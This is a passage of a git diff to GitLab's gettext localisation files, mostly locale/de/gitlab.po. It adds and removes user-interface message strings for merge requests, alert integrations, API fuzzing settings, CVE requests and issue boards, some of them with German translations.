msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/de/gitlab.po b/locale/de/gitlab.po
index 70db6168775..0db337146e8 100644
--- a/locale/de/gitlab.po
+++ b/locale/de/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: de\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:54\n"
+"PO-Revision-Date: 2021-04-02 00:15\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] "%d geänderte Datei"
msgstr[1] "%d geänderte Dateien"
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d festes Testergebnis"
@@ -392,6 +402,9 @@ msgstr "%{authorsName}s Unterhaltung"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr "%{commit_author_link} verfasste %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr "%{count} Zustimmungen von %{name}"
msgid "%{count} files touched"
msgstr "%{count} Dateien verändert"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr "%{count} weitere"
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} nutzt Accounts, die von einer Gruppe verwaltet werden. Du musst dir einen neuen GitLab-Account erstellen, welcher von %{group_name} verwaltet wird."
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}Erfahre mehr%{usage_ping_link_end} darüber, welche Informationen mit GitLab Inc. geteilt werden."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (kann nicht mergen)"
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] "1 Tag"
msgstr[1] "%d Tage"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] "1 Stunde"
msgstr[1] "%d Stunden"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "1 zusammengeführte Merge Request"
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] "1 Minute"
msgstr[1] "%d Minuten"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "1 offenes Ticket"
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] "1 Benutzer(in)"
msgstr[1] "%{num} Benutzer(innen)"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr "1-9 Beiträge"
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "Ein(e) Benutzer(in) mit Schreibzugriff auf den Quellbranch hat diese Option ausgewählt"
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr "API Token"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr "Konto und Limit"
msgid "Account: %{account}"
msgstr "Konto: %{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr "Hinzufügen"
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "%d Ticket hinzufügen"
-msgstr[1] "%d Tickets hinzufügen"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr "GPG-Schlüssel hinzufügen"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr "Füge eine Grafana-Schaltfläche in der Administrator-Menüleiste im Überwachungsbereich hinzu, um auf eine Vielzahl von Statistiken zum Zustand und zur Leistung von GitLab zuzugreifen."
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "Aufzählungsliste hinzufügen"
@@ -1854,6 +1905,9 @@ msgstr "Jetzt kommentieren"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr "Kopf- und Fußzeile zu E-Mails hinzufügen. Bitte beachte, dass Farbeins
msgid "Add image comment"
msgstr "Bildkommentar hinzufügen"
-msgid "Add issues"
-msgstr "Tickets hinzufügen"
-
msgid "Add italic text"
msgstr "Kursiven Text hinzufügen"
@@ -1911,6 +1962,9 @@ msgstr "Addiere oder subtrahiere verbrachte Zeit"
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Reaktion hinzufügen"
@@ -1929,6 +1983,9 @@ msgstr "System-Hook hinzufügen"
msgid "Add to Slack"
msgstr "Zu Slack hinzufügen"
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr "Zu Epic hinzufügen"
@@ -2022,6 +2079,9 @@ msgstr "Zusätzliche Minuten"
msgid "Additional text"
msgstr "Zusätzlicher Text"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "Fügt hinzu"
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr "Adminbereich"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr "Du bist dabei, alle Jobs zu stoppen. Dies hält alle aktuellen Jobs, die
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Fehler beim Laden der Statistik. Bitte versuche es erneut"
-msgid "AdminNote|Note"
-msgstr "Notiz"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "Du bist gerade dabei das Projekt %{projectName}, sein Repository und alle verknüpften Ressourcen einschließlich Tickets, Merge-Requests, etc. zu löschen. Nachdem du %{strong_start}Projekt entfernen%{strong_end} ausgeführt hast, kann es nicht rückgängig gemacht oder wiederhergestellt werden."
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] "Alarm"
msgstr[1] "Alarme"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr "Gruppenbesitzer erlauben, LDAP-bezogene Einstellungen zu verwalten"
msgid "Allow only the selected protocols to be used for Git access."
msgstr "Nur die ausgewählten Protokolle für den Git-Zugriff zulassen."
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr "Wird auch \"Herausgeber\" oder \"Relying-Party-Trust-Identifier\" genann
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "Wird auch \"Relying-Party-Service-URL\" oder \"Antwort-URL\" genannt"
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "Es ist ein Fehler aufgetreten"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr "Beim Hinzufügen eines Entwurfs zur Diskussion ist ein Fehler aufgetreten."
@@ -3338,6 +3440,9 @@ msgstr "Beim Abrufen der ausstehenden Kommentare ist ein Fehler aufgetreten"
msgid "An error occurred while fetching projects autocomplete."
msgstr "Beim Abrufen der Projekt-Autovervollständigung ist ein Fehler aufgetreten."
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "Während des Abrufens der Daten für die Seitenleiste ist ein Fehler aufgetreten"
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Beim Abrufen der Board-Listen ist ein Fehler aufgetreten. Bitte versuche es erneut."
-msgid "An error occurred while fetching the builds."
-msgstr "Beim Abrufen der Builds ist ein Fehler aufgetreten."
-
msgid "An error occurred while fetching the job log."
msgstr "Beim Abrufen des Jobprotokolls ist ein Fehler aufgetreten."
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr "Ein Ticket kann ein Fehler, ein To-do oder eine Feature-Anfrage sein, das in einem Projekt diskutiert werden muss. Außerdem sind Tickets durchsuchbar und filterbar."
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] "%d Mitglied"
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{count} Zustimmung von %{membersCount} nötig"
msgstr[1] "%{count} Zustimmungen von %{membersCount} nötig"
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr "Genehmigungsberechtigte(r)"
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr "Name"
@@ -3826,9 +3934,6 @@ msgstr "Regelname"
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr "z.B. QS, Sicherheit, etc."
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "Bist du sicher, dass du alle nicht gespeicherten Änderungen verwerfen möchtest?"
@@ -4026,6 +4137,12 @@ msgstr "Bist du sicher, dass du diese Umgebung stoppen möchtest?"
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "Bist du sicher, dass du %{path_lock_path} entsperren willst?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "Möchtest du wirklich nicht mehr über %{type}: %{link_to_noteable_text} benachrichtigt werden?"
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
-msgstr "Asana - Teamwork ohne E-Mail"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr "Avatar wird entfernt. Bist du sicher?"
msgid "Average per day: %{average}"
msgstr "Durchschnitt pro Tag: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr "Atlassian Bamboo CI"
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr "Bamboo-Build-Plan-Schlüssel, z.B. KEY"
@@ -4621,6 +4744,9 @@ msgstr "Vorsicht. Änderungen am Projektnamensraum können unbeabsichtigte Neben
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr "Vorsicht. Das Umbenennen des Projekt-Repositorys kann unbeabsichtigte Nebenwirkungen haben."
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "Mit dem ausgewählten Commit beginnen"
@@ -4645,7 +4771,7 @@ msgstr "Abrechnung"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr "Boards"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr "Board bearbeiten"
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr "Bereich anzeigen"
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr "von"
msgid "CHANGELOG"
msgstr "CHANGELOG"
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr "CI/CD-Einstellungen"
-
msgid "CI Lint"
msgstr "CI Lint"
@@ -5223,6 +5365,12 @@ msgstr "CI wird mit den oben angegebenen Anmeldeinformationen ausgeführt."
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "CI/CD-Konfiguration"
@@ -5312,6 +5460,27 @@ msgstr "CONTRIBUTING"
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "Callback-URL"
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr "Schließe Vorschau"
@@ -5528,6 +5700,9 @@ msgstr "Vorlage ändern"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "Ändere diesen Wert, um zu beeinflussen, wie oft die GitLab UI nach Updates fragt."
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
